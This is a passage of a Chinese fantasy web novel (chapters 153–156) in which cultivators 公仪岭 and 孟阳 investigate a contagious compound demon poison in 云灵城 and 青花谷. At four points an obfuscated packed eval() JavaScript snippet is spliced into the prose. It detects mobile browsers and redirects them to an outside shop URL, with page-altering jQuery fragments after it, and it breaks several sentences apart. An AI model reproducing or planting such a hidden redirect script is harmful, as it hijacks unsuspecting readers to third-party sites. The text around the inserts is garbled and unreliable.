“孟兄,你久居在外,大概还不知道御魔幡下落不明的事情,我得去确认一番这些东西是不是御魔幡弄出来的,才能放心。” 孟阳刚出山,只知不久前的那两场大战,对其余内情却丝毫不知,听到公仪岚这样说,一时也忘了自己过来找他的是为了辞行,焦急道:“事关重大,的确需要弄清楚。” 公仪岭凝视着他,忽然开口道:“既然如此,那你便随我一起去吧。” 孟阳一愣,没想到自己过来一趟又多了新的活干:“我?” 公仪岭也思考过,觉得带上孟阳也并无不妥,总归承悦要处理山里的事情抽不开身,让孟阳帮忙搭把手,行事也能更方便些。 “你要回青花谷的话,从云灵山走也顺路,反正你也不差这一两日,就当顺便再帮我个忙吧。”公仪岭从书桌上递了本折子给他,“这折子上写着的都是生了怪病求医无门的百姓,你过去的话,应该能帮上些忙。” 孟阳默默接过了折子,展开看见上面至少写了有十几个名字,惊道:“怎会有这么多?都是什么病症,怎么会求医无门?” 说起这个,公仪岭也颇为头痛:“他们也并未明说病症,突然一下子出现了十几个,很是古怪,我们还是得亲自去瞧瞧才行。” 孟阳语气严肃:“此番我出来并未带太多药材,还是得劳烦岚兄去药灵阁先取些来了。” “自然。” 一个时辰后,云灵城内。 公仪岭与孟阳往人来人往的大街口站定,皱着眉在折子上寻找生病百姓的住所后,就决定先从最近的一人开始看起。 孟阳点了点折子上画了圈的一个名字,道:“这户人家就住在这条东大街上,看着倒像是个大户人家。” 云灵城内有名有姓的大户人家公仪岭也知道个大概,顺着孟阳指的地方一瞧,心里也有了数。 这户人家乃是云灵城中有名的富商,家主妻妾成群,共育有两子一女,看折子上所写,多半是家中的小姐生了怪病。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249969|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 孟阳望着折子上用朱笔备注的内容,咂舌道:“我听闻山中贡桌上贡之时,贡品越多,在你们这儿名字也会越靠前。这位富商该是贡了多少物件,才换得了如此靠前的位置。” 公仪岭点头道:“是有这个说法,不过还是得根据实际情况来,若是有家中困难的,我们也不会因此就坐视不理。” 孟阳感慨道:“看样子,这位富商应当是很疼爱小女儿,否则也不会这样了。” 他们家的情况公仪岭倒是清楚,就道:“他的两个儿子都是侧室所生,那位正室夫人只生了这一个女儿,自然偏宠些。” 两人便打算叩门说明来意,结果公仪岭刚上前一步,就看见面前的宅子大门两开,几个大夫模样的人被推了出来,里面的人大怒道:“治不好还想收诊金,一群庸医!” 其中一人眼看着重心不稳就要倒在地上,公仪岭连忙伸手扶了一把,他才勉强站稳了些,对那人急声道:“您女儿的这病我是真没辙啊!我们行医这么多年,从来没遇到过这样奇怪的病!” 另一人也叫道:“再怎么说,当时也是你请我们过来的,这几日也用了那么多帖药了,这诊金怎么能说不给就不给?!” 公仪岭打眼往里面一瞧,见那推大夫出来的人正是那位富商,连忙出声道:“既是先前请来的大夫,也总该将药钱给结了,怎有拖欠的道理?” 富商这才看见门边还站了两人,眯着眼打量了公仪岭和孟阳一番,叉着腰不悦道:“你们又是何人?难道是跟他们一伙的?” 孟阳与公仪岭对视了一眼,礼貌地对富豪道:“我们两位是云灵山上的仙师,得知您家小女儿生了怪病,特意下山查看一番。” 他们两人下山的时候,只有公仪岭穿着云灵山的衣服,还能瞧出些仙风道骨的样子,孟阳则是一身粗布麻衣,若是城中百姓来看,肯定只当他是普通人了,倒也怪不得富商没认出来他们。 富豪那双眼睛立刻就瞪大了,又仔仔细细看了眼公仪岭身上的服饰,喜道:“原来是云灵山上的仙师!方才多有得罪,还请仙师海涵。” 公仪岭摆手道:“无妨,还请带我们先进去看看吧。” “好嘞、好嘞。” 富商连连点头,将人请了进来,又从怀中摸出小块银子丢到了门口的几位大夫面前,对他们呵斥道:“看在仙师的面子上,拿了钱就快滚!” 这几位大夫收了诊金,生怕他转头又后悔,逃也似得离开了。 公仪岭还没走进后院,就已经听到了屋里传来的阵阵尖叫声和各种器物被砸碎的声音,心中一凛,脚下步伐也快了些。 孟阳听着这惨烈的尖叫,也倒吸了一口凉气,凝声道:“也不知是什么样的怪病,竟然这样骇人。” 那富商一听到里屋的动静,也是方寸大乱,一颗心七上八下地不知该如何是好,几乎是拽着公仪岭就飞奔着朝里面跑去,生怕耽误了女儿的治疗。 几人刚进里屋,公仪岭还尚未看清那位小姐是个什么样的情况,就立刻察觉到了一股妖邪气息,情急之下先上前一步拦住了着急忙慌的富商,喝道:“有妖气,先别靠近!” 153.何人盗鬼玉 妖毒现青花(二) 他这一声厉喝,当场吓得屋内几人后退了两步。 床榻旁边服侍的丫鬟惊声道:“妖气?什么妖气?!” 富商也紧张道:“仙师,哪里有妖气?难道我女儿的怪病是因为被妖怪附体了吗?!” 富商的夫人也大惊失色:“仙师,你说的可是真的?!房中有妖气?” 公仪岭没有回答他们的话,翻手祭出彻云剑,一步一步朝着那床榻旁边逼近。两边的丫鬟都睁大了眼,不敢去拦他。 那床帏中的人还在犹自尖叫着,公仪岭凝眉挥出一道剑气,将那床帏给斩断后,才看见里面的那位姑娘。 这姑娘脸上冷汗涔涔,全身上下都用棉被裹了起来,唯一露出的脸上还带了一张面纱,双手死死抓着身上的被子,眼看着就要昏厥过去。 而她的手臂上全是青青紫紫,甚至有的地方都已经开始逐渐溃烂,要不是公仪岭确认这是一个活人,光看她这模样,险些也能把她当成一个傀儡之身。 孟阳也快步上前,垂眸扫了一眼这姑娘的状况,沉声道:“岚兄,你说的妖气,应该就是从这位姑娘的身上散发出来的。” 那富商闻言大惊:“仙师此话怎讲?我家小女极少出门,怎么会沾染上妖气?!” 公仪岭也是第一次遇到这样的情况,施法探查了一番后,却并未找到任何妖邪附身,见这位姑娘痛得在床榻上打滚,只能先让旁边的丫鬟过来将人按住。 他心中有一个猜疑,但又无法肯定,正疑惑之时,却见孟阳已经伸手搭上了她的手腕开始把脉。 纵使孟阳远离青花谷,专注于农作,但他们青花谷的本领一点也没忘。有他把脉,公仪岭也更为放心,抬手在屋内设下结界后,就重新收回了彻云剑,等孟阳的结果。 一盏茶的时间过去,孟阳也终于松开了这姑娘的手腕,对公仪岭道:“岚兄,她这情况,多半是中了妖毒。” 孟阳的这个说法,也正是公仪岭刚才在怀疑的。 公仪岭立刻转头问丫鬟道:“你们家小姐是何时开始不对劲的?” 这两个丫鬟被这阵仗都快吓哭了,抽泣道:“大、大概是三四天前开始,突然就这样了,好多大夫都来看过,却是束手无策,说从没见过这样奇怪的脉象……” 孟阳从布包中取出一颗丹药,合着茶水把丹药塞入了这姑娘的口中,叹息道:“这毒发得凶猛,若是没有解药的话,十日内必定暴毙而亡,我的这颗丹药,也只能暂且压制住妖毒蔓延,若是没有解药的话,她活不过二十天。” “什么?!” 屋内几人听到活不过二十天,一个个都面如土色,吓得魂飞魄散,那位夫人更是直接掩面哭出了声,直接扑通一声跪在了公仪岭和孟阳的面前。 “仙师……求求你们救救我女儿吧!我就这么一个女儿……没了她我可怎么活啊!!!” 公仪岭听孟阳说完,也是惊诧不已,但还是先将跪在地上的那位夫人扶了起来:“我们一定尽力而为。” 孟阳叹了口气。 公仪岭见他这样,也知事态不妙,思忖片刻后沉声道:“名册上至少有三十个人称自己生了怪病,莫非这三十人,都是中了妖毒……” 如果不是那些厉害的妖,寻常妖毒也大多都是慢性,用好药材将养着,少说也能再拖延个一年半载,这样来势汹汹的妖毒,定然不是简单的毒。 富商听到他这样说,连忙答道:“仙师有所不知道,前几日我求医问药之时打听过,这几日城中出现的怪病基本上都和小女的症状一模一样,想必,都是同一个东西!” 公仪岭问富商道:“那这几日,城中可有出现什么妖物?” 富商摇了摇头,连声否认,就连丫鬟也哭泣着说城中没出现过妖物。 孟阳收起自己的布包,道:“从刚刚的脉象来看,这恐怕不是一种妖毒,而是由十几种不同的妖毒混合而成的,也不知是什么人这样丧心病狂,竟然会制出这样的毒。” 公仪岭知道他说得不错,要只是一种妖毒的话,以青花谷的能耐,定然能清楚地知道是何方妖孽。如果这位小姐体内混合了十几种妖毒,城中又没有妖邪出现的话,那就只有可能是人为合成了这些妖毒,在城中散播了。 幸好他这次出门,带了足够多的丹药,他们两个人一家家摸索过去,先暂且保全中毒之人的性命是没有问题的。 公仪岭低声问孟阳:“你可能看得出,这是由哪些妖毒混合成的?” 孟阳缓缓摇头:“眼下我并未带法器过来,若是让宗主来看,或许能够看得出来。” 看样子,他还得亲自去拜见一下孟妙意了。 公仪岭在心中深深叹了口气,没想到,一年过去,他竟然欠了孟妙意这样多的人情,就连上次戒鞭过后的施药之恩,他都还没机会回报,这时候又得过去请人帮忙了。 公仪岭道:“此毒,你可有把握解?” 孟阳沉吟片刻,才道:“若是回青花谷与宗主一起想办法的话,或许能够解出来,只是需得云灵城内的人等一等了。” 孟阳在那姑娘的几个穴位上施了针后,她的尖叫声才逐渐平息,原本紧绷的身子也松了下来。 富商忙追问道:“仙师,我女儿怎么样了?” 孟阳施完针后,又重新替她把了脉,检查了她身上溃烂的地方,才道:“她一直喊叫的话会劳神损身,以现在这样的身体状况,更需好好休息。我已施针令她暂且昏睡,稍后会留下几帖止痛的药,若是之后几日她又疼痛难忍的话,就将药给她服下。” 说完,孟阳就从床榻边起身,对公仪岭道:“岚兄,事不宜迟,我们先去其他人家替他们压制毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258033|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性,再前去青花谷解毒吧。” 公仪岭点了点头:“也好。” 那夫人见他们要走,抹泪道:“仙师走了的话,我女儿要是有个三长两短,可该怎么办……” 富商忧心忡忡道:“两位仙师走了的话,那我女儿她……” 公仪岭知道他们担心什么,只能勉强宽慰道:“我们此行是去尽力制作解药,耽误不得,只要能在二十天内制出解药,就能救活她。等制出后,我会再次回来救治这位姑娘,还请你们二位放心就是。” 那位夫人听到公仪岭这样说,也总算是稍微放心了些,连声道:“请仙师一定要制出解药,救救我女儿的命……” 公仪岭也是无奈,又好言宽慰了两句,才稳定了这对夫妇的心。 等孟阳写下方子,把止痛的药交给了丫鬟后,两人便离开了富商的家宅。 整整一日,公仪岭和孟阳依次拜访了折子上写的几十户人家,所有人的情况都与富商家小姐的情况一致,症状较轻的人身上生了许多青青紫紫,而严重的人身上几乎所有的皮肤都完全溃烂,看着十分瘆人。 哪怕孟阳使出全身本领,也只能再给中毒严重的人延上五日寿命。公仪岭和孟阳心知这些人恐怕撑不到解药制出的那一日了,但也不忍告诉他们家人真相,只能期盼着能尽快制出解药回来救人。 直到深夜,他们才离开了最后一户人家,出了门就打算连夜朝着青花谷的方向赶去。 两人还没离开云灵城,孟阳便先收到了青花谷的信函。他白日里借了病患家里的笔墨,向孟妙意写了一封信简单说了下云灵城内的情况,本以为孟妙意不会这么快回信,却没想到才过了几个时辰就接到了信函。 夜间城中街道漆黑一片,公仪岭燃起了掌心焰,托举到了孟阳旁边给他照明,说:“打开看看吧。” 他还记着当初各位宗主在紫阳殿集议的时候,都表示如果附近出现什么状况就会及时传信给他们,现在妖毒事发突然,他倒是还没给众宗门传信,也不知孟妙意回信过来,是不是也知道了此事。 可惜,现在他怕是没时间写信与各家宗主细说此事了,只能先到青花谷后,再看看能否得空借了笔墨,传信出去。 公仪岭思考之时,孟阳已经读完了信函。 在火光的映衬下,孟阳的表情更是晦暗不明。公仪岭见他的面色沉沉,便问道:“孟宗主在信中说了什么?” 孟阳将信函递给了他,叹息道:“宗主说,青花谷内也出现了类似的妖毒,就连周边的几座城池也有中毒之人,她已经开始着手研制解药,让我尽快回去。” 公仪岭垂眸看完了上面的三行字,将信函还给了他:“时间紧迫,若是连夜赶路的话,想必两日就能抵达青花谷内。” 孟阳道:“那就劳烦岚兄带我一程了。” 154.何人盗鬼玉 妖毒现青花(三) 他们两人共乘一剑,一心赶路,连话都没说两句,硬撑了两个昼夜,终于抵达了青花谷。 若是从前让公仪岭不眠不休御剑两日,他定然是需得中途休息的,而这一年内发生了这么多事情后,如今飞这样久,他竟也察觉不到疲惫了。 公仪岭对青花谷的记忆还停留在仙考中毒的时候,从云头落下前,他还以为谷内一如从前般热闹,然而等到落地一看,却只见谷内空无一人,石板路上连仙侍都不曾出现。 就连孟阳看见这样的景象都惊诧了:“怎么回事?我去上元夜宴前也没这样啊,难道谷内弟子搬走了没跟我说?” 公仪岭望了望上头高悬的太阳,这个时辰各家宗门的弟子大多都在修习,来往忙活的仙侍也不在少数,无论如何也不该是这样。 他指了指外围的结界道:“谷内结界并未撤下,定然不是搬走。” 孟阳思索了一会儿,施法在自己的刺青处召唤出了灵蛇,道:“我召出小白,让它去闻闻人气,就知道那些屋内还有没有人了。” 这条灵蛇公仪岭年幼时也曾见过,通体纯白,双目赤红,体型虽然没有孟妙意那条青蛇那么大,但也是难能一见的灵宠。 公仪岭问道:“没想到,你这么多年专心种草药,驯养灵蛇这一条竟然也没落下。” 孟阳没有施法让白蛇恢复原本的体型,此刻它也只是细长的一条,盘桓在孟阳的手腕处。他摸了摸白蛇的头,温和道:“承蒙师父赏识,赠我灵蛇,小白它很通人性,这些年经常帮我采草药的。” 白蛇很久没见过公仪岭,大约早已将他忘记了,此刻正呲呲地对公仪岭吐着信子,眼神中有些戒备,公仪岭便没有伸手触碰它,点了点头道:“那就先让它去探探吧,如果谷内发生什么,我们也好有个应对。” 孟阳在口中默念了两句法诀,白蛇便窜了出去,飞快地游走到道路两侧的房屋外头。 没过多久,白蛇便重新回到了孟阳的手上,对他也呲了两声,随后身上散出了白光,眨眼就从孟阳手上消失不见,重新变成了刺青回到了他的胳膊上。 公仪岭问他:“如何?” 孟阳脸色看起来不是很好,叹息道:“小白说,这些屋内都有人。” 公仪岭猜测道:“也许是因为中毒,所以才闭门不出?” “那也不该所有人都不出来,总不可能是整个青花谷上下全都中了妖毒。” 公仪岭听他这样说,觉得也有几分道理,便道:“既然如此,还是直接去寻孟宗主,问问究竟发生了什么事情吧。” 孟阳心急如焚,草草应了一声,直接带着他朝着正殿的方向走去。 正殿空空荡荡,连平常守在门口的仙侍也不见踪影,孟阳无奈,只能绕到殿后去孟妙意的吊楼寻她。等两人到了目的地,公仪岭才得知,孟妙意继任之后,也没有更换住处,依旧还是住在自己从前的吊楼里。 吊楼外也圈出了小院,院门紧紧闭着,上面像是被施了法术一样,把两扇门给封了起来。 考虑到孟妙意是个姑娘,他们也并未贸然开门进去。孟阳先是在门口尝试着敲了几下门,那门上法术没有动静,吊楼里也没什么动静。 孟阳见敲门无用,这才扯着嗓子叫了两声:“宗主,我回来了!你在吗?——” 话音刚落,公仪岭就看见门上的法咒渐渐淡了下去,院门忽然打开,像是同意了他们进去。 孟阳道:“看样子,宗主是在的,大约是没注意到我们敲门才没开。” 公仪岭凝视着一片死寂的吊楼,抬步往吊楼方向走:“走吧,先进去看看。” 直到两人进了正殿内,也没瞧见吊楼里有仙侍。 他们在正殿内等了有一盏茶的时间,孟妙意才从殿外进来,她的身后也仅仅只跟着一位仙侍,垂着头轻纱掩面,公仪岭也看不清她的样貌,只当她是孟妙意的贴身侍女。 孟妙意倒是没带着纱,只是面上难得显出倦容,也像是好几日没合眼的样子。她进门后看见公仪岚也只是微微流露出了诧异之色,随后就坐到了正座上,开口问道:“公仪宗主,你怎么过来了?” 公仪岭取出行囊里的名册,递到了她面前:“孟宗主,孟阳前几日与我一同在云灵城发现了几十位中了妖毒的病患,收到了你的传信后,我便与他一起前来了。” 这本名册上,公仪岭将所有中毒之人的情况都标注地十分详细,孟妙意展开看完,也就大概明白了云灵城的状况。 孟阳见她凝眉不语,急忙问道:“宗主,您看这毒,可是跟青花谷一样的状况?” 孟妙意点头道:“是一样的,青花谷内第一个中毒的,是门中一位弟子。一开始还只是手臂上出现了一块青斑,我们都以为是他不小心磕碰出来的,后面越来越严重,人也开始发热说胡话,这才发现是中毒所致。” “为何我们进来的时候,街道上都空无一人,现在谷内情况如何了?” 孟妙意轻叹一声道:“你们有所不知,这几日我们观察下来发现,这毒大约是能够传染的,所以我才下令,叫谷内所有人都暂且闭门不出,减少接触。在制出解药之前,最大限度内防止妖毒扩散。” 公仪岭听完,也立刻严肃起来。 若是这妖毒能够传染,那事情就更加严重了。他们现在能否制出解药都还不确定,要是云灵城全城染上的话,造成的死伤恐怕不计其数。 而他现在,必须得立刻将此事告知云灵山中弟子,让他们去隔绝病患。 “孟宗主,还请借我笔墨纸砚,让我修书一封,告知云灵山此事,让他们下山处理。” “没问题。”孟妙意一口答应下来,抬手吩咐身后的仙侍去办。 公仪岭又道:“我过来得匆忙,不知妖毒之事,青花谷可已经传信给了各宗门?” “昨日我已修书给了几家,这时候,他们应该都已经收到了。” 公仪岭放下心来。有孟妙意说明的话,倒是省了他不少麻烦,眼下这样的情况,也只能让其他人多加小心了。 仙侍也已经拿着笔墨纸砚过来了,公仪岭也不拖延,直接开始写下书信。 孟阳则是满心惦记着解药,等他们两个人说完,连忙问:“宗主,解药可有进展了?有没有什么是我能帮上忙的?” 孟妙意抿唇未答,一直等公仪岚写完以后,才道:“你们随我来吧。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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毕竟是个人都知道公仪岚身手不凡,要是真有毒蛇攻击它的话,大概率那几条蛇也只会被他劈成两段,似乎他更应该提醒这几条花蛇小心些才对。 “没事,我并不畏惧这些。” 公仪岭面色如常,又扫了一眼屋内,立刻就看见屋子中央的一个硕大的黄铜鼎炉,便知这东西就是他们用来制毒的了。 而此刻,这黄铜鼎炉周围灵气四溢,表面微微发烫,正是在运作当中。 公仪岭指了指鼎炉,问道:“这黄铜鼎炉内可是在制解药?” 孟妙意点了点头,低声道:“制是在制,但这解药还没有成功。虽然那妖毒的种类我已经知晓,但尝试了两日也不得其法,很是奇怪……本不该如此的。” “我在云灵城给他们把脉的时候,觉得这妖毒是由十几种不同的妖毒混合而成,宗主,你已经知道这些妖毒是出自哪里了吗?” 孟妙意凝视着鼎炉,点头道:“这几日我已经从他们身上提取出来了毒,虽说妖毒种类多,但这其中最毒的当属里面的蛇毒和蝎毒。” 世人都知青花谷最擅养蛇蝎,想要解这两种东西的毒乃是易如反掌,又怎么会像孟妙意说的那样不得其法? 公仪岭疑惑道:“若是连青花谷都无法解蛇蝎之毒,那恐怕也没有其他毒修宗门能够解开了……” 孟妙意缓缓道:“不,不是解不开,我只是觉得很奇怪。” “怎么个奇怪法?” 孟妙意道:“我不觉得我制作解药的方法有什么错误,但制出来解药的却对那些中毒的弟子们毫无作用,压根解不了他们的毒,这才是最奇怪的地方。” 155.何人盗鬼玉 妖毒现青花(四) “你的意思是……” 公仪岭心中隐隐不安,几乎是立刻联想到了御魔幡下落不明的事情。 平地起波,很难不让人怀疑是那偷盗之人再起的风浪。 虽然公仪岭还不知道御魔幡除了能将死物变成傀儡以外,还有没有其他影响,但也不能排除御魔幡会影响妖毒这样的可能性。 兹事体大,孟妙意也确定不了,沉思道:“现在这也只是推测,是不是因为这样还得再看看。” “我看八九不离十了,肯定是盗走御魔幡的贼人干的,就是想靠这样的办法兵不血刃地解决我们,大伤宗门的元气。”孟阳说。 孟妙意思索了片刻,道:“御魔幡毕竟是紫阳宗的物件,此事还是得问问燕宗主那边,他们应该最为清楚。我给他们写信的时候也说了此事,且等等他们的回函吧。” 公仪岭也正想到找紫阳宗的人问问,听到孟妙意已经安排妥当,不由一阵恍惚。 看来,这些时日,有所改变的也不止他一人。 从前他们谁也没觉得,孟妙意是个擅长处理事情的人,对她的印象还停留在仙考历练的那时候,竟没想到,孟妙意的性子,也变得沉稳多了。 想来也是,以前她能够任性妄为也是因为上面有两个哥哥替她扛着担子,现在整个青花谷也只能倚靠她一人,再难也得去做啊。 从某种意义上来说,公仪岭觉得孟妙意跟他也算同是天涯沦落人了。 他默默想着,低声道:“他们可得快些啊,城中的百姓已经等不起这些时日了。” 孟妙意叹了口气。 如果不是无奈,她也不想拖延时间制药。云灵城那边的情况她也很清楚,而青花谷这边,也没有比云灵城好到哪里去。 为了救人,孟妙意也是几天几夜没合眼了。而她昨日在谷中再次诊断第一个中毒的弟子,哪怕给他用上最好的药,来延缓毒性发作,也是能够再活上三日都不容易了。 终究……还是自己无能啊。 孟妙意紧紧握着拳头,心中却一片悲凉。 她的修为绝不算弱,可还是比不得上头的两位兄长,制药的这几日,她时常也会想,如果现在兄长们还活着,也许解药早就被制出来了。 但是,没有办法,现在也只能靠自己了。 思虑及此,孟妙意决然道:“来得及,一定来得及。我一定能赶在他们毒发身亡前,制出解药。” 孟阳自然是无条件相信她的,也是当即点头:“我们会在旁边帮宗主的。” 公仪岭听她这样说了,也没什么意见,只是又问了一句:“孟宗主可知,这妖毒究竟是怎么传染的?” 这一时半会儿的,他们两个人都得待在青花谷,若是解药还没制出来,反倒伤及自身就糟了。 要是能够知道传染途径的话,或许能够更好的预防,控制妖毒的蔓延。 孟妙意这几日都在这个房间内,也没时间仔细调查这些事情,只能暂且吩咐所有人先戴上面纱,减少接触。 她皱眉道:“现在也还不知道,不过大家闭门不出、减少接触了以后,青花谷内的确少了很多中毒之人。” “不知所有中毒的弟子,可有名册记录?能否给我看看?” 孟妙意一怔,随即对门口的一条花蛇下了指令,那花蛇立刻滑出房间,消失不见了。 她道:“名册是有,等一会儿便会拿来了。” 公仪岭看着这些听话的灵宠,也是有些羡慕,有了这些灵蛇在,他们连跑腿都不必了,想要拿什么东西招呼一声就行,实在方便。 三人静静地等待了一会儿,那条花蛇便扭着身子回来了,口中还轻轻咬着一本册子,像是生怕自己的利齿给册子捅穿了,飞快地绕过了公仪岭和孟阳两人,昂着蛇头来到了孟妙意面前。 孟妙意从它口中接过了册子,拍了拍它的脑袋以示嘉奖后,花蛇便心满意足地盘了回去。 “看看吧。” 孟妙意接了册子也没打开看,直接转交给了公仪岭。 公仪岭到手后捏了捏册子的厚度,微不可查地皱了下眉。这本册子的厚度竟然比他所写的那本更厚一些,想必也是写了不少弟子。 他展开后粗略看了一眼,果然如他所想那般。 这本册子里差不多记下了近五十位弟子的名字和状况,每个人的信息都写的无比详细,想必孟妙意也是费了一番功夫的。 然而,等他仔细看完,又和自己折子上的内容一比对,很快就发现的不对的地方。 孟阳在旁边也一直瞧着,见他像是看出了什么,就问道:“岚兄,你可有看出什么名堂来吗?” 公仪岭将两本册子摊在中央的木桌上,指尖划过那些名字,道:“中毒之人,多为女子。” 他说完,孟妙意和孟阳愣了神,目光顺着他所指的名字过了一遍,瞬间意识到他所言不虚。 两本册子里加起来足有八十多人,里面竟然有□□成都是女子,而这些女子的年岁,也都尚轻,跟孟妙意和公仪岭两人的年纪差不了多少。 孟阳惊道:“这就怪了,如果散布妖毒的人是为了重创我们的话,应该不会相差这么多才是……” 公仪岭虽然这样说,但现在也还没什么头绪,感觉似乎抓到了一点线索,却又很虚无缥缈,一会儿就又摸不着了,也就没继续说下去。 这个发现也让孟妙意吃惊了一下,不过既然三人现在都没有想法,那孟妙意也不能继续把时间浪费在追查真凶上面。 当务之急,还是先研制出解药,去救人性命要紧。 如果像公仪岭说的那样,女子更容易中妖毒的话,倒是方便他们俩行事了。孟妙意没有犹豫,立刻就做出了决定:“这几日,就劳烦公仪宗主去多多照看谷中弟子了,我和孟阳先留在此处想办法制解药。” 公仪岭想了想,还是提醒道:“孟宗主,既然此毒容易传染,那你也先用纱巾掩面吧,不然如果到时候连你也中了招的话,可就真的难办了……” 孟妙意从怀中取出纱巾,系在了脸上,轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277756|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我明白,自会保重身体。” 她说完,就和孟阳继续研究鼎炉里的解药了。 而公仪岭站在这边,暂时也帮不上什么忙,便只能先行离开,前往谷内照看青花谷的弟子们。 每个人的住所门口都用法术封禁了起来,所幸孟妙意考虑到了这一点,公仪岭离开前,她就将一块玉牌交给了他,有了这块玉令牌的话,他想要出入这些房屋就方便了很多。 孟妙意给他的名册他也收了起来,按照上面所写的内容,先去了其中一个较为严重的弟子房内。 现在谷内的仙侍也没办法照顾他们了,几个中毒已深的师妹下不来床,自然就没办法去弄药,只能依靠各自养的灵宠来勉强服药,总归不是长久之计。 公仪岭也考虑过自己要不要也戴个面纱,不过他那半张脸还带着面具,实在有所不便。好在刚出院子的时候,天上就开始淅淅沥沥下起小雨,他灵机一动,顺便问孟妙意借了个白纱斗笠顶着用,这样倒是一举两得了。 他手上拿着玉牌,触碰上大门后,院子门口的封禁被自动解开,十分轻松地进到了这位小青花谷师妹的住所。 公仪岭抬手敲响了房门,等到里面传来一声虚弱的回应后,才推门进去。 谁知,刚一进来,房间角落里就窜出一条灵蛇,张着口朝公仪岭猛扑过来。这样迅捷的速度,也亏得他反应够快,这才瞬间凌空捏住了蛇头,将它制住,才没被毒牙咬到。 床上那位师妹见状艰难起身,声音微弱:“别动!” 公仪岭也不知道她是在叫自己别动,还是叫蛇别动,于是一直保持着同一个姿势凝固了片刻,手中那条本来在拼命挣扎的灵蛇这才停了下来,垂下身子不动了。 这灵蛇应当是将他当做了生人闯入,这才主动攻击,也是一条忠心护主的灵宠了。 公仪岭见它停止挣扎,这才把蛇放回地面。灵蛇没了束缚,又被灭了气焰,一下子变得蔫蔫的,缩到了一旁,小心警惕地注意着公仪岭的动静。 床帏撩开,这师妹的模样显现了出来,不光面色惨白如纸,身上裸露的地方无一不是青紫色的溃烂,就连脸上也隐隐开始有所蔓延。 若非因妖毒的缘故,她原本也该是一张清丽的面容。 公仪岭暗叹了一声可惜,又想起来现在自己带着斗笠,这位姑娘应该不知道自己是谁,于是抬手掀了一下斗笠上的白纱,露出戴着面具的半张脸,主动开口道:“这位姑娘,我是公仪岚,受了孟宗主的嘱托,过来照看你们的。” 这位师妹像是在忍受着巨大的痛苦,死死咬着唇,过了好一会儿才呼出一口气,艰难道:“见过公仪宗主。” 她这样的状态,能够从床上坐起来已经实属不易,不可能再起身行礼问安了。公仪岭深知这一点,连忙想要将她扶着躺下,却见那师妹面露惊慌,努力往后缩了缩,哑着声道:“公仪宗主,不要碰到我身上,这妖毒会传染的!” 公仪岭伸出的手停在半空,犹豫了一会儿,还是慢慢垂下了。 156.何人盗鬼玉 妖毒现青花(五) 既然不能接触,那自然不能把脉了。好在青花谷的弟子们个个都会把脉,公仪岭也不去操心这个,转而去照看她床边的药罐子了。 这药罐下还生着火,盖子上冒着热气,正咕噜咕噜地滚着药。公仪岭扫了一眼桌案,看见上面的药包已经解开了,想必应该也是灵蛇做的。 只不过,它再如何也只能将药给放进罐子里,没办法掌握火候,公仪岭思索了片刻,取来了一把蒲扇,坐在竹椅上给药罐子扇火。 这师妹见他亲自扇火煮药,心中惶惶不安:“公仪宗主,这样的事情,怎能劳烦您来做……” 公仪岭见她又想要起身,赶忙道:“无妨,我既受你家宗主所托,自然得尽心尽力,你不必担心,安心养病就是,等他们研制出解药,就能够治好你身上的妖毒了。” 师妹闻言,轻轻叹了口气,抚摸着自己的面颊,苦笑道:“我苦修医术与毒术十余年,如今自己身体是个什么状况,自己最为清楚。公仪宗主何必安慰我,说到底,我也撑不过十日了。” 公仪岭皱眉:“既然还有十日的时间,那也不能现在就放弃,孟宗主已经在尽力制药,十日之内,定然能够出现转机。” “希望如此吧。” 她只当公仪岚是在安慰她,心中根本也没抱多少希望,现在用药,也只是把她这样的病弱身躯再多拖延上几日罢了。 何况,如果这个毒会让他们全身溃烂而亡的话,这样不体面的死法,她倒觉得还不如直接自刎来得痛快。 师妹沉默了片刻,又再度开口道:“其实,一开始被诊出中毒以后,我的师兄师姐们,都跟随着宗主一起想办法解毒,只是这么久过去,不仅毫无办法,就连他们也都陆续染上了妖毒……” 公仪岭诧异道:“你们宗门这么多人,竟然也对此毒毫无办法?” 师妹道:“我们试了很多办法……分明就该是那样的解毒办法,却还是只能暂且延缓毒性发作,没办法彻底解毒……” 公仪岭陷入深思,摇着蒲扇的手也逐渐慢了起来,直到药罐上的盖子开始跳动起来,他才熄灭了火,将里面的药倒入碗中,递给了她。 “多谢公仪宗主。” 